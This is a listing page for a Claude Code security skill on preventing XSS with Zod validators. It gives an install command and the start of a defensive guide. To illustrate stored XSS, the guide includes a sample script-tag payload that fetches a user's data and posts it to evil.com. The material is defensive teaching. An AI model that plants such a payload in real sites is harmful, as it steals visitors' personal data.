
Input Validation Xss Prevention
This is a production-ready XSS prevention system built around Zod schemas, giving you 11 pre-built validators for everything from emails to contact forms. It handles the tedious security work: sanitizing dangerous characters, validating formats, and giving you type-safe data you can actually trust. The architecture is smart about tradeoffs, removing angle brackets and ampersands while keeping apostrophes so users named O'Neal can still enter their names. Pair it with CSRF protection and rate limiting for API routes that won't get you fined £20 million. The validateRequest helper returns formatted errors automatically, so you're not writing the same validation boilerplate in every route.
- skills.sh installs
- 197
- GitHub stars
- 18
- last updated
- Aug 21, 2026
Install
$ npx -y skills add harperaa/secure-claude-skills --skill input-validation-xss-prevention --agent claude-codeInstalls into .claude/skills of the current project.
Files
Input Validation & XSS Prevention
The Universal Truth of Web Security
Never trust user input. This is the foundational principle of web security.
Every major breach can be traced back to input validation failures:
- SQL Injection - Equifax (147 million records)
- XSS - British Airways (380,000 transactions, £20M fine)
- Command Injection - Countless others
According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.
Understanding XSS (Cross-Site Scripting)
The Attack
Attacker enters in a bio field:
<script>
fetch('/api/user')
.then(r=>r.json())
.then(d=>fetch('https://evil.com',{
method:'POST',
body:JSON.stringify(d)
}))
</script>
Without sanitization, when other users view this profile:
- The script executes in their browsers
- It steals their user data
- Sends it to attacker's server
- Victims never know they were compromised
Real-World XSS Consequences
Sponsors
Details
- Repository
- github.com/harperaa/secure-claude-skills
- Categories
- Security, Code Review & Quality
- First seen
- Jun 3, 2026
More from harperaa/secure-claude-skills
All 12- Secure Error Handling197
- Security Prompts193
- Authentication Authorization Clerk187
- Payment Security Clerk Billing Stripe183
- Security Operations Deployment165
- Dependency Supply Chain Security253
- Csrf Protection206
- Security Headers203
- Security Architecture Overview200
- Rate Limiting199
- Security Testing Verification198